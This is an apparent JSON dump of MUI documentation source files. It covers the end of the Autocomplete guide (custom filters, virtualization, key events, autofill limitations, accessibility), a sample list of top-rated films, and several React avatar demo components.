`ownerState` as the fourth parameter, which includes props and internal component state.\nTo display the label, you can use the `getOptionLabel` prop from the `ownerState`.\nThis approach enables different options for each Autocomplete component while keeping the options styling consistent.\n\n{{\"demo\": \"GloballyCustomizedOptions.js\"}}\n\n### GitHub's picker\n\nThis demo reproduces GitHub's label picker:\n\n{{\"demo\": \"GitHubLabel.js\"}}\n\nHead to the [Customized hook](#customized-hook) section for a customization example with the `useAutocomplete` hook instead of the component.\n\n### Hint\n\nThe following demo shows how to add a hint feature to the Autocomplete:\n\n{{\"demo\": \"AutocompleteHint.js\"}}\n\n## Highlights\n\nThe following demo relies on [autosuggest-highlight](https://github.com/moroshko/autosuggest-highlight), a small (1 kB) utility for highlighting text in autosuggest and autocomplete components.\n\n{{\"demo\": \"Highlights.js\"}}\n\n## Custom filter\n\nThe component exposes a factory to create a filter method that can be provided to the `filterOptions` prop.\nYou can use it to change the default option filter behavior.\n\n```js\nimport { createFilterOptions } from '@mui/material/Autocomplete';\n```\n\n### `createFilterOptions(config) => filterOptions`\n\n#### Arguments\n\n1. `config` (_object_ [optional]):\n\n- `config.ignoreAccents` (_bool_ [optional]): Defaults to `true`. Remove diacritics.\n- `config.ignoreCase` (_bool_ [optional]): Defaults to `true`. Lowercase everything.\n- `config.limit` (_number_ [optional]): Default to null. Limit the number of suggested options to be shown. For example, if `config.limit` is `100`, only the first `100` matching options are shown. It can be useful if a lot of options match and virtualization wasn't set up.\n- `config.matchFrom` (_'any' | 'start'_ [optional]): Defaults to `'any'`.\n- `config.stringify` (_func_ [optional]): Controls how an option is converted into a string so that it can be matched against the input text fragment.\n- `config.trim` (_bool_ [optional]): Defaults to `false`. Remove trailing spaces.\n\n#### Returns\n\n`filterOptions`: the returned filter method can be provided directly to the `filterOptions` prop of the `Autocomplete` component, or the parameter of the same name for the hook.\n\nIn the following demo, the options need to start with the query prefix:\n\n```jsx\nconst filterOptions = createFilterOptions({\n  matchFrom: 'start',\n  stringify: (option) => option.title,\n});\n\n<Autocomplete filterOptions={filterOptions} />;\n```\n\n{{\"demo\": \"Filter.js\", \"defaultCodeOpen\": false}}\n\n### Advanced\n\nFor richer filtering mechanisms, like fuzzy matching, it's recommended to look at [match-sorter](https://github.com/kentcdodds/match-sorter). For instance:\n\n```jsx\nimport { matchSorter } from 'match-sorter';\n\nconst filterOptions = (options, { inputValue }) => matchSorter(options, inputValue);\n\n<Autocomplete filterOptions={filterOptions} />;\n```\n\n## Virtualization\n\nSearch within 10,000 randomly generated options. The list is virtualized thanks to [react-window](https://github.com/bvaughn/react-window).\n\n{{\"demo\": \"Virtualize.js\"}}\n\n## Events\n\nIf you would like to prevent the default key handler behavior, you can set the event's `defaultMuiPrevented` property to `true`:\n\n```jsx\n<Autocomplete\n  onKeyDown={(event) => {\n    if (event.key === 'Enter') {\n      // Prevent's default 'Enter' behavior.\n      event.defaultMuiPrevented = true;\n      // your handler code\n    }\n  }}\n/>\n```\n\n## Limitations\n\n### autocomplete/autofill\n\nBrowsers have heuristics to help the user fill in form inputs.\nHowever, this can harm the UX of the component.\n\nBy default, the component disables the input **autocomplete** feature (remembering what the user has typed for a given field in a previous session) with the `autoComplete=\"off\"` attribute.\nGoogle Chrome does not currently support this attribute setting ([Issue 41239842](https://issues.chromium.org/issues/41239842)).\nA possible workaround is to remove the `id` to have the component generate a random one.\n\nIn addition to remembering past entered values, the browser might also propose **autofill** suggestions (saved login, address, or payment details).\nIn the event you want the avoid autofill, you can try the following:\n\n- Name the input without leaking any information the browser can use. For example `id=\"field1\"` instead of `id=\"country\"`. If you leave the id empty, the component uses a random id.\n- Set `autoComplete=\"new-password\"` (some browsers will suggest a strong password for inputs with this attribute setting):\n\n  ```jsx\n  <TextField\n    {...params}\n    slotProps={{\n      ...params.slotProps,\n      htmlInput: {\n        ...params.slotProps.htmlInput,\n        autoComplete: 'new-password',\n      },\n    }}\n  />\n  ```\n\nRead [the guide on MDN](https://developer.mozilla.org/en-US/docs/Web/Security/Practical_implementation_guides/Turning_off_form_autocompletion) for more details.\n\n### iOS VoiceOver\n\nVoiceOver on iOS Safari doesn't support the `aria-owns` attribute very well.\nYou can work around the issue with the `disablePortal` prop.\n\n### ListboxComponent\n\nIf you provide a custom `ListboxComponent` prop, you need to make sure that the intended scroll container has the `role` attribute set to `listbox`. This ensures the correct behavior of the scroll, for example when using the keyboard to navigate.\n\n## Accessibility\n\n(WAI-ARIA: https://www.w3.org/WAI/ARIA/apg/patterns/combobox/)\n\nWe encourage the usage of a label for the textbox.\nThe component implements the WAI-ARIA authoring practices.\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/top100Films.js",
    "content": "// Top 100 films as rated by IMDb users. http://www.imdb.com/chart/top\nconst top100Films = [\n  { label: 'The Shawshank Redemption', year: 1994 },\n  { label: 'The Godfather', year: 1972 },\n  { label: 'The Godfather: Part II', year: 1974 },\n  { label: 'The Dark Knight', year: 2008 },\n  { label: '12 Angry Men', year: 1957 },\n  { label: \"Schindler's List\", year: 1993 },\n  { label: 'Pulp Fiction', year: 1994 },\n  {\n    label: 'The Lord of the Rings: The Return of the King',\n    year: 2003,\n  },\n  { label: 'The Good, the Bad and the Ugly', year: 1966 },\n  { label: 'Fight Club', year: 1999 },\n  {\n    label: 'The Lord of the Rings: The Fellowship of the Ring',\n    year: 2001,\n  },\n  {\n    label: 'Star Wars: Episode V - The Empire Strikes Back',\n    year: 1980,\n  },\n  { label: 'Forrest Gump', year: 1994 },\n  { label: 'Inception', year: 2010 },\n  {\n    label: 'The Lord of the Rings: The Two Towers',\n    year: 2002,\n  },\n  { label: \"One Flew Over the Cuckoo's Nest\", year: 1975 },\n  { label: 'Goodfellas', year: 1990 },\n  { label: 'The Matrix', year: 1999 },\n  { label: 'Seven Samurai', year: 1954 },\n  {\n    label: 'Star Wars: Episode IV - A New Hope',\n    year: 1977,\n  },\n  { label: 'City of God', year: 2002 },\n  { label: 'Se7en', year: 1995 },\n  { label: 'The Silence of the Lambs', year: 1991 },\n  { label: \"It's a Wonderful Life\", year: 1946 },\n  { label: 'Life Is Beautiful', year: 1997 },\n  { label: 'The Usual Suspects', year: 1995 },\n  { label: 'Léon: The Professional', year: 1994 },\n  { label: 'Spirited Away', year: 2001 },\n  { label: 'Saving Private Ryan', year: 1998 },\n  { label: 'Once Upon a Time in the West', year: 1968 },\n  { label: 'American History X', year: 1998 },\n  { label: 'Interstellar', year: 2014 },\n  { label: 'Casablanca', year: 1942 },\n  { label: 'City Lights', year: 1931 },\n  { label: 'Psycho', year: 1960 },\n  { label: 'The Green Mile', year: 1999 },\n  { label: 'The Intouchables', year: 2011 },\n  { label: 'Modern Times', year: 1936 },\n  { label: 'Raiders of the Lost Ark', year: 1981 },\n  { label: 'Rear Window', year: 1954 },\n  { label: 'The Pianist', year: 2002 },\n  { label: 'The Departed', year: 2006 },\n  { label: 'Terminator 2: Judgment Day', year: 1991 },\n  { label: 'Back to the Future', year: 1985 },\n  { label: 'Whiplash', year: 2014 },\n  { label: 'Gladiator', year: 2000 },\n  { label: 'Memento', year: 2000 },\n  { label: 'The Prestige', year: 2006 },\n  { label: 'The Lion King', year: 1994 },\n  { label: 'Apocalypse Now', year: 1979 },\n  { label: 'Alien', year: 1979 },\n  { label: 'Sunset Boulevard', year: 1950 },\n  {\n    label: 'Dr. Strangelove or: How I Learned to Stop Worrying and Love the Bomb',\n    year: 1964,\n  },\n  { label: 'The Great Dictator', year: 1940 },\n  { label: 'Cinema Paradiso', year: 1988 },\n  { label: 'The Lives of Others', year: 2006 },\n  { label: 'Grave of the Fireflies', year: 1988 },\n  { label: 'Paths of Glory', year: 1957 },\n  { label: 'Django Unchained', year: 2012 },\n  { label: 'The Shining', year: 1980 },\n  { label: 'WALL·E', year: 2008 },\n  { label: 'American Beauty', year: 1999 },\n  { label: 'The Dark Knight Rises', year: 2012 },\n  { label: 'Princess Mononoke', year: 1997 },\n  { label: 'Aliens', year: 1986 },\n  { label: 'Oldboy', year: 2003 },\n  { label: 'Once Upon a Time in America', year: 1984 },\n  { label: 'Witness for the Prosecution', year: 1957 },\n  { label: 'Das Boot', year: 1981 },\n  { label: 'Citizen Kane', year: 1941 },\n  { label: 'North by Northwest', year: 1959 },\n  { label: 'Vertigo', year: 1958 },\n  {\n    label: 'Star Wars: Episode VI - Return of the Jedi',\n    year: 1983,\n  },\n  { label: 'Reservoir Dogs', year: 1992 },\n  { label: 'Braveheart', year: 1995 },\n  { label: 'M', year: 1931 },\n  { label: 'Requiem for a Dream', year: 2000 },\n  { label: 'Amélie', year: 2001 },\n  { label: 'A Clockwork Orange', year: 1971 },\n  { label: 'Like Stars on Earth', year: 2007 },\n  { label: 'Taxi Driver', year: 1976 },\n  { label: 'Lawrence of Arabia', year: 1962 },\n  { label: 'Double Indemnity', year: 1944 },\n  {\n    label: 'Eternal Sunshine of the Spotless Mind',\n    year: 2004,\n  },\n  { label: 'Amadeus', year: 1984 },\n  { label: 'To Kill a Mockingbird', year: 1962 },\n  { label: 'Toy Story 3', year: 2010 },\n  { label: 'Logan', year: 2017 },\n  { label: 'Full Metal Jacket', year: 1987 },\n  { label: 'Dangal', year: 2016 },\n  { label: 'The Sting', year: 1973 },\n  { label: '2001: A Space Odyssey', year: 1968 },\n  { label: \"Singin' in the Rain\", year: 1952 },\n  { label: 'Toy Story', year: 1995 },\n  { label: 'Bicycle Thieves', year: 1948 },\n  { label: 'The Kid', year: 1921 },\n  { label: 'Inglourious Basterds', year: 2009 },\n  { label: 'Snatch', year: 2000 },\n  { label: '3 Idiots', year: 2009 },\n  { label: 'Monty Python and the Holy Grail', year: 1975 },\n];\n\nexport default top100Films;\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/top100Films.ts",
    "content": "// Top 100 films as rated by IMDb users. http://www.imdb.com/chart/top\nconst top100Films = [\n  { label: 'The Shawshank Redemption', year: 1994 },\n  { label: 'The Godfather', year: 1972 },\n  { label: 'The Godfather: Part II', year: 1974 },\n  { label: 'The Dark Knight', year: 2008 },\n  { label: '12 Angry Men', year: 1957 },\n  { label: \"Schindler's List\", year: 1993 },\n  { label: 'Pulp Fiction', year: 1994 },\n  {\n    label: 'The Lord of the Rings: The Return of the King',\n    year: 2003,\n  },\n  { label: 'The Good, the Bad and the Ugly', year: 1966 },\n  { label: 'Fight Club', year: 1999 },\n  {\n    label: 'The Lord of the Rings: The Fellowship of the Ring',\n    year: 2001,\n  },\n  {\n    label: 'Star Wars: Episode V - The Empire Strikes Back',\n    year: 1980,\n  },\n  { label: 'Forrest Gump', year: 1994 },\n  { label: 'Inception', year: 2010 },\n  {\n    label: 'The Lord of the Rings: The Two Towers',\n    year: 2002,\n  },\n  { label: \"One Flew Over the Cuckoo's Nest\", year: 1975 },\n  { label: 'Goodfellas', year: 1990 },\n  { label: 'The Matrix', year: 1999 },\n  { label: 'Seven Samurai', year: 1954 },\n  {\n    label: 'Star Wars: Episode IV - A New Hope',\n    year: 1977,\n  },\n  { label: 'City of God', year: 2002 },\n  { label: 'Se7en', year: 1995 },\n  { label: 'The Silence of the Lambs', year: 1991 },\n  { label: \"It's a Wonderful Life\", year: 1946 },\n  { label: 'Life Is Beautiful', year: 1997 },\n  { label: 'The Usual Suspects', year: 1995 },\n  { label: 'Léon: The Professional', year: 1994 },\n  { label: 'Spirited Away', year: 2001 },\n  { label: 'Saving Private Ryan', year: 1998 },\n  { label: 'Once Upon a Time in the West', year: 1968 },\n  { label: 'American History X', year: 1998 },\n  { label: 'Interstellar', year: 2014 },\n  { label: 'Casablanca', year: 1942 },\n  { label: 'City Lights', year: 1931 },\n  { label: 'Psycho', year: 1960 },\n  { label: 'The Green Mile', year: 1999 },\n  { label: 'The Intouchables', year: 2011 },\n  { label: 'Modern Times', year: 1936 },\n  { label: 'Raiders of the Lost Ark', year: 1981 },\n  { label: 'Rear Window', year: 1954 },\n  { label: 'The Pianist', year: 2002 },\n  { label: 'The Departed', year: 2006 },\n  { label: 'Terminator 2: Judgment Day', year: 1991 },\n  { label: 'Back to the Future', year: 1985 },\n  { label: 'Whiplash', year: 2014 },\n  { label: 'Gladiator', year: 2000 },\n  { label: 'Memento', year: 2000 },\n  { label: 'The Prestige', year: 2006 },\n  { label: 'The Lion King', year: 1994 },\n  { label: 'Apocalypse Now', year: 1979 },\n  { label: 'Alien', year: 1979 },\n  { label: 'Sunset Boulevard', year: 1950 },\n  {\n    label: 'Dr. Strangelove or: How I Learned to Stop Worrying and Love the Bomb',\n    year: 1964,\n  },\n  { label: 'The Great Dictator', year: 1940 },\n  { label: 'Cinema Paradiso', year: 1988 },\n  { label: 'The Lives of Others', year: 2006 },\n  { label: 'Grave of the Fireflies', year: 1988 },\n  { label: 'Paths of Glory', year: 1957 },\n  { label: 'Django Unchained', year: 2012 },\n  { label: 'The Shining', year: 1980 },\n  { label: 'WALL·E', year: 2008 },\n  { label: 'American Beauty', year: 1999 },\n  { label: 'The Dark Knight Rises', year: 2012 },\n  { label: 'Princess Mononoke', year: 1997 },\n  { label: 'Aliens', year: 1986 },\n  { label: 'Oldboy', year: 2003 },\n  { label: 'Once Upon a Time in America', year: 1984 },\n  { label: 'Witness for the Prosecution', year: 1957 },\n  { label: 'Das Boot', year: 1981 },\n  { label: 'Citizen Kane', year: 1941 },\n  { label: 'North by Northwest', year: 1959 },\n  { label: 'Vertigo', year: 1958 },\n  {\n    label: 'Star Wars: Episode VI - Return of the Jedi',\n    year: 1983,\n  },\n  { label: 'Reservoir Dogs', year: 1992 },\n  { label: 'Braveheart', year: 1995 },\n  { label: 'M', year: 1931 },\n  { label: 'Requiem for a Dream', year: 2000 },\n  { label: 'Amélie', year: 2001 },\n  { label: 'A Clockwork Orange', year: 1971 },\n  { label: 'Like Stars on Earth', year: 2007 },\n  { label: 'Taxi Driver', year: 1976 },\n  { label: 'Lawrence of Arabia', year: 1962 },\n  { label: 'Double Indemnity', year: 1944 },\n  {\n    label: 'Eternal Sunshine of the Spotless Mind',\n    year: 2004,\n  },\n  { label: 'Amadeus', year: 1984 },\n  { label: 'To Kill a Mockingbird', year: 1962 },\n  { label: 'Toy Story 3', year: 2010 },\n  { label: 'Logan', year: 2017 },\n  { label: 'Full Metal Jacket', year: 1987 },\n  { label: 'Dangal', year: 2016 },\n  { label: 'The Sting', year: 1973 },\n  { label: '2001: A Space Odyssey', year: 1968 },\n  { label: \"Singin' in the Rain\", year: 1952 },\n  { label: 'Toy Story', year: 1995 },\n  { label: 'Bicycle Thieves', year: 1948 },\n  { label: 'The Kid', year: 1921 },\n  { label: 'Inglourious Basterds', year: 2009 },\n  { label: 'Snatch', year: 2000 },\n  { label: '3 Idiots', year: 2009 },\n  { label: 'Monty Python and the Holy Grail', year: 1975 },\n];\n\nexport default top100Films;\n"
  },
  {
    "path": "docs/data/material/components/avatars/BackgroundLetterAvatars.js",
    "content": "import Avatar from '@mui/material/Avatar';\nimport Stack from '@mui/material/Stack';\n\nfunction stringToColor(string) {\n  let hash = 0;\n  let i;\n\n  /* eslint-disable no-bitwise */\n  for (i = 0; i < string.length; i += 1) {\n    hash = string.charCodeAt(i) + ((hash << 5) - hash);\n  }\n\n  let color = '#';\n\n  for (i = 0; i < 3; i += 1) {\n    const value = (hash >> (i * 8)) & 0xff;\n    color += `00${value.toString(16)}`.slice(-2);\n  }\n  /* eslint-enable no-bitwise */\n\n  return color;\n}\n\nfunction stringAvatar(name) {\n  return {\n    sx: {\n      bgcolor: stringToColor(name),\n    },\n    children: `${name.split(' ')[0][0]}${name.split(' ')[1][0]}`,\n  };\n}\n\nexport default function BackgroundLetterAvatars() {\n  return (\n    <Stack direction=\"row\" spacing={2}>\n      <Avatar {...stringAvatar('Kent Dodds')} />\n      <Avatar {...stringAvatar('Jed Watson')} />\n      <Avatar {...stringAvatar('Tim Neutkens')} />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/avatars/BackgroundLetterAvatars.tsx",
    "content": "import Avatar from '@mui/material/Avatar';\nimport Stack from '@mui/material/Stack';\n\nfunction stringToColor(string: string) {\n  let hash = 0;\n  let i;\n\n  /* eslint-disable no-bitwise */\n  for (i = 0; i < string.length; i += 1) {\n    hash = string.charCodeAt(i) + ((hash << 5) - hash);\n  }\n\n  let color = '#';\n\n  for (i = 0; i < 3; i += 1) {\n    const value = (hash >> (i * 8)) & 0xff;\n    color += `00${value.toString(16)}`.slice(-2);\n  }\n  /* eslint-enable no-bitwise */\n\n  return color;\n}\n\nfunction stringAvatar(name: string) {\n  return {\n    sx: {\n      bgcolor: stringToColor(name),\n    },\n    children: `${name.split(' ')[0][0]}${name.split(' ')[1][0]}`,\n  };\n}\n\nexport default function BackgroundLetterAvatars() {\n  return (\n    <Stack direction=\"row\" spacing={2}>\n      <Avatar {...stringAvatar('Kent Dodds')} />\n      <Avatar {...stringAvatar('Jed Watson')} />\n      <Avatar {...stringAvatar('Tim Neutkens')} />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/avatars/BackgroundLetterAvatars.tsx.preview",
    "content": "<Avatar {...stringAvatar('Kent Dodds')} />\n<Avatar {...stringAvatar('Jed Watson')} />\n<Avatar {...stringAvatar('Tim Neutkens')} />"
  },
  {
    "path": "docs/data/material/components/avatars/BadgeAvatars.js",
    "content": "import { styled } from '@mui/material/styles';\nimport Badge from '@mui/material/Badge';\nimport Avatar from '@mui/material/Avatar';\nimport Stack from '@mui/material/Stack';\n\nconst StyledBadge = styled(Badge)(({ theme }) => ({\n  '& .MuiBadge-badge': {\n    backgroundColor: '#44b700',\n    color: '#44b700',\n    boxShadow: `0 0 0 2px ${theme.palette.background.paper}`,\n    '&::after': {\n      position: 'absolute',\n      top: 0,\n      left: 0,\n      width: '100%',\n      height: '100%',\n      borderRadius: '50%',\n      animation: 'ripple 1.2s infinite ease-in-out',\n      border: '1px solid currentColor',\n      content: '\"\"',\n    },\n  },\n  '@keyframes ripple': {\n    '0%': {\n      transform: 'scale(.8)',\n      opacity: 1,\n    },\n    '100%': {\n      transform: 'scale(2.4)',\n      opacity: 0,\n    },\n  },\n}));\n\nconst SmallAvatar = styled(Avatar)(({ theme }) => ({\n  width: 22,\n  height: 22,\n  border: `2px solid ${theme.palette.background.paper}`,\n}));\n\nexport default function BadgeAvatars() {\n  return (\n    <Stack direction=\"row\" spacing={2}>\n      <StyledBadge\n        overlap=\"circular\"\n        anchorOrigin={{ vertical: 'bottom', horizontal: 'right' }}\n        variant=\"dot\"\n      >\n        <Avatar alt=\"Remy Sharp\" src=\"/static/images/avatar/1.jpg\" />\n      </StyledBadge>\n      <Badge\n        overlap=\"circular\"\n        anchorOrigin={{ vertical: 'bottom', horizontal: 'right' }}\n        badgeContent={\n          <SmallAvatar alt=\"Remy Sharp\" src=\"/static/images/avatar/1.jpg\" />\n        }\n      >\n        <Avatar alt=\"Travis Howard\" src=\"/static/images/avatar/2.jpg\" />\n      </Badge>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/avatars/BadgeAvatars.tsx",
    "content": "import { styled } from '@mui/material/styles';\nimport Badge from '@mui/material/Badge';\nimport Avatar from '@mui/material/Avatar';\nimport Stack from '@mui/material/Stack';\n\nconst StyledBadge = styled(Badge)(({ theme }) => ({\n  '& .MuiBadge-badge': {\n    backgroundColor: '#44b700',\n    color: '#44b700',\n    boxShadow: `0 0 0 2px ${theme.palette.background.paper}`,\n    '&::after': {\n      position: 'absolute',\n      top: 0,\n      left: 0,\n      width: '100%',\n      height: '100%',\n      borderRadius: '50%',\n      animation: 'ripple 1.2s infinite ease-in-out',\n      border: '1px solid currentColor',\n      content: '\"\"',\n    },\n  },\n  '@keyframes ripple': {\n    '0%': {\n      transform: 'scale(.8)',\n      opacity: 1,\n    },\n    '100%': {\n      transform: 'scale(2.4)',\n      opacity: 0,\n    },\n  },\n}));\n\nconst SmallAvatar = styled(Avatar)(({ theme }) => ({\n  width: 22,\n  height: 22,\n  border: `2px solid ${theme.palette.background.paper}`,\n}));\n\nexport default function BadgeAvatars() {\n  return (\n    <Stack direction=\"row\" spacing={2}>\n      <StyledBadge\n        overlap=\"circular\"\n        anchorOrigin={{ vertical: 'bottom', horizontal: 'right' }}\n        variant=\"dot\"\n      >\n        <Avatar alt=\"Remy Sharp\" src=\"/static/images/avatar/1.jpg\" />\n      </StyledBadge>\n      <Badge\n        overlap=\"circular\"\n        anchorOrigin={{ vertical: 'bottom', horizontal: 'right' }}\n        badgeContent={\n          <SmallAvatar alt=\"Remy Sharp\" src=\"/static/images/avatar/1.jpg\" />\n        }\n      >\n        <Avatar alt=\"Travis Howard\" src=\"/static/images/avatar/2.jpg\" />\n      </Badge>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/avatars/BadgeAvatars.tsx.preview",
    "content": "<StyledBadge\n  overlap=\"circular\"\n  anchorOrigin={{ vertical: 'bottom', horizontal: 'right' }}\n  variant=\"dot\"\n>\n  <Avatar alt=\"Remy Sharp\" src=\"/static/images/avatar/1.jpg\" />\n</StyledBadge>\n<Badge\n  overlap=\"circular\"\n  anchorOrigin={{ vertical: 'bottom', horizontal: 'right' }}\n  badgeContent={\n    <SmallAvatar alt=\"Remy Sharp\" src=\"/static/images/avatar/1.jpg\" />\n  }\n>\n  <Avatar alt=\"Travis Howard\" src=\"/static/images/avatar/2.jpg\" />\n</Badge>"
  },
  {
    "path": "docs/data/material/components/avatars/CustomSurplusAvatars.js",
    "content": "import Avatar from '@mui/material/Avatar';\nimport AvatarGroup from '@mui/material/AvatarGroup';\n\nexport default function CustomSurplusAvatars() {\n  return (\n    <AvatarGroup\n      renderSurplus={(surplus) => <span>+{surplus.toString()[0]}k</span>}\n      total={4251}\n    >\n      <Avatar alt=\"Remy Sharp\" src=\"/static/images/avatar/1.jpg\" />\n      <Avatar alt=\"Travis Howard\" src=\"/static/images/avatar/2.jpg\" />\n      <Avatar alt=\"Agnes Walker\" src=\"/static/images/avatar/4.jpg\" />\n      <Avatar alt=\"Trevor Henderson\" src=\"/static/images/avatar/5.jpg\" />\n    </AvatarGroup>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/avatars/CustomSurplusAvatars.tsx",
    "content": "import Avatar from '@mui/material/Avatar';\nimport AvatarGroup from '@mui/material/AvatarGroup';\n\nexport default function CustomSurplusAvatars() {\n  return (\n    <AvatarGroup\n      renderSurplus={(surplus) => <span>+{surplus.toString()[0]}k</span>}\n      total={4251}\n    >\n      <Avatar alt=\"Remy Sharp\" src=\"/static/images/avatar/1.jpg\" />\n      <Avatar alt=\"Travis Howard\" src=\"/static/images/avatar/2.jpg\" />\n      <Avatar alt=\"Agnes Walker\" src=\"/static/images/avatar/4.jpg\" />\n      <Avatar alt=\"Trevor Henderson\" src=\"/static/images/avatar/5.jpg\" />\n    </AvatarGroup>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/avatars/CustomSurplusAvatars.tsx.preview",
    "content": "<AvatarGroup\n  renderSurplus={(surplus) => <span>+{surplus.toString()[0]}k</span>}\n  total={4251}\n>\n  <Avatar alt=\"Remy Sharp\" src=\"/static/images/avatar/1.jpg\" />\n  <Avatar alt=\"Travis Howard\" src=\"/static/images/avatar/2.jpg\" />\n  <Avatar alt=\"Agnes Walker\" src=\"/static/images/avatar/4.jpg\" />\n  <Avatar alt=\"Trevor Henderson\" src=\"/static/images/avatar/5.jpg\" />\n</AvatarGroup>"
  },
  {
    "path": "docs/data/material/components/avatars/FallbackAvatars.js",
    "content": "import Avatar from '@mui/material/Avatar';\nimport Stack from '@mui/material/Stack';\nimport { deepOrange } from '@mui/material/colors';\n\nexport default function FallbackAvatars() {\n  return (\n    <Stack direction=\"row\" spacing={2}>\n      <Avatar\n        sx={{ bgcolor: deepOrange[500] }}\n        alt=\"Remy Sharp\"\n        src=\"/broken-image.jpg\"\n      >\n        B\n      </Avatar>\n      <Avatar\n        sx={{ bgcolor: deepOrange[500] }}\n        alt=\"Remy Sharp\"\n        src=\"/broken-image.jpg\"\n      />\n      <Avatar src=\"/broken-image.jpg\" />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/avatars/FallbackAvatars.tsx",
    "content": "import Avatar from '@mui/material/Avatar';\nimport Stack from '@mui/material/Stack';\nimport { deepOrange } from '@mui/material/colors';\n\nexport default function FallbackAvatars() {\n  return (\n    <Stack direction=\"row\" spacing={2}>\n      <Avatar\n        sx={{ bgcolor: deepOrange[500] }}\n        alt=\"Remy Sharp\"\n        src=\"/broken-image.jpg\"\n      >\n        B\n      </Avatar>\n      <Avatar\n        sx={{ bgcolor: deepOrange[500] }}\n        alt=\"Remy Sharp\"\n        src=\"/broken-image.jpg\"\n      />\n      <Avatar src=\"/broken-image.jpg\" />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/avatars/FallbackAvatars.tsx.preview",
    "content": "<Avatar\n  sx={{ bgcolor: deepOrange[500] }}\n  alt=\"Remy Sharp\"\n  src=\"/broken-image.jpg\"\n>\n  B\n</Avatar>\n<Avatar\n  sx={{ bgcolor: deepOrange[500] }}\n  alt=\"Remy Sharp\"\n  src=\"/broken-image.jpg\"\n/>\n<Avatar src=\"/broken-image.jpg\" />"
  },
  {
    "path": "docs/data/material/components/avatars/GroupAvatars.js",
    "content": "import Avatar from '@mui/material/Avatar';\nimport AvatarGroup from '@mui/material/AvatarGroup';\n\nexport default function GroupAvatars() {\n  return (\n    <AvatarGroup max={4}>\n      <Avatar alt=\"Remy Sharp\" src=\"/static/images/avatar/1.jpg\" />\n      <Avatar alt=\"Travis Howard\" src=\"/static/images/avatar/2.jpg\" />\n      <Avatar alt=\"Cindy Baker\" src=\"/static/images/avatar/3.jpg\" />\n      <Avatar alt=\"Agnes Walker\" src=\"/static/images/avatar/4.jpg\" />\n      <Avatar alt=\"Trevor Henderson\" src=\"/static/images/avatar/5.jpg\" />\n    </AvatarGroup>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/avatars/GroupAvatars.tsx",
    "content": "import Avatar from '@mui/material/Avatar';\nimport AvatarGroup from '@mui/material/AvatarGroup';\n\nexport default function GroupAvatars() {\n  return (\n    <AvatarGroup max={4}>\n      <Avatar alt=\"Remy Sharp\" src=\"/static/images/avatar/1.jpg\" />\n      <Avatar alt=\"Travis Howard\" src=\"/static/images/avatar/2.jpg\" />\n      <Avatar alt=\"Cindy Baker\" src=\"/static/images/avatar/3.jpg\" />\n      <Avatar alt=\"Agnes Walker\" src=\"/static/images/avatar/4.jpg\" />\n      <Avatar alt=\"Trevor Henderson\" src=\"/static/images/avatar/5.jpg\" />\n    </AvatarGroup>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/avatars/GroupAvatars.tsx.preview",
    "content": "<AvatarGroup max={4}>\n  <Avatar alt=\"Remy Sharp\" src=\"/static/images/avatar/1.jpg\" />\n  <Avatar alt=\"Travis Howard\" src=\"/static/images/avatar/2.jpg\" />\n  <Avatar alt=\"Cindy Baker\" src=\"/static/images/avatar/3.jpg\" />\n  <Avatar alt=\"Agnes Walker\" src=\"/static/images/avatar/4.jpg\" />\n  <Avatar alt=\"Trevor Henderson\" src=\"/static/images/avatar/5.jpg\" />\n</AvatarGroup>"
  },
  {
    "path": "docs/data/material/components/avatars/IconAvatars.js",
    "content": "import { green, pink } from '@mui/material/colors';\nimport Avatar from '@mui/material/Avatar';\nimport Stack from '@mui/material/Stack';\nimport FolderIcon from '@mui/icons-material/Folder';\nimport PageviewIcon from '@mui/icons-material/Pageview';\nimport AssignmentIcon from '@mui/icons-material/Assignment';\n\nexport default function IconAvatars() {\n  return (\n    <Stack direction=\"row\" spacing={2}>\n      <Avatar>\n        <FolderIcon />\n      </Avatar>\n      <Avatar sx={{ bgcolor: pink[500] }}>\n        <PageviewIcon />\n      </Avatar>\n      <Avatar sx={{ bgcolor: green[500] }}>\n        <AssignmentIcon />\n      </Avatar>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/avatars/IconAvatars.tsx",
    "content": "import { green, pink } from '@mui/material/colors';\nimport Avatar from '@mui/material/Avatar';\nimport Stack from '@mui/material/Stack';\nimport FolderIcon from '@mui/icons-material/Folder';\nimport PageviewIcon from '@mui/icons-material/Pageview';\nimport AssignmentIcon from '@mui/icons-material/Assignment';\n\nexport default function IconAvatars() {\n  return (\n    <Stack direction=\"row\" spacing={2}>\n      <Avatar>\n        <FolderIcon />\n      </Avatar>\n      <Avatar sx={{ bgcolor: pink[500] }}>\n        <PageviewIcon />\n      </Avatar>\n      <Avatar sx={{ bgcolor: green[500] }}>\n        <AssignmentIcon />\n      </Avatar>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/avatars/IconAvatars.tsx.preview",
    "content": "<Avatar>\n  <FolderIcon />\n</Avatar>\n<Avatar sx={{ bgcolor: pink[500] }}>\n  <PageviewIcon />\n</Avatar>\n<Avatar sx={{ bgcolor: green[500] }}>\n  <AssignmentIcon />\n</Avatar>"
  },
  {
    "path": "docs/data/material/components/avatars/ImageAvatars.js",
    "content": "import Avatar from '@mui/material/Avatar';\nimport Stack from '@mui/material/Stack';\n\nexport default function ImageAvatars() {\n  return (\n    <Stack direction=\"row\" spacing={2}>\n      <Avatar alt=\"Remy Sharp\" src=\"/static/images/avatar/1.jpg\" />\n      <Avatar alt=\"Travis Howard\" src=\"/static/images/avatar/2.jpg\" />\n      <Avatar alt=\"Cindy Baker\" src=\"/static/images/avatar/3.jpg\" />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/avatars/ImageAvatars.tsx",
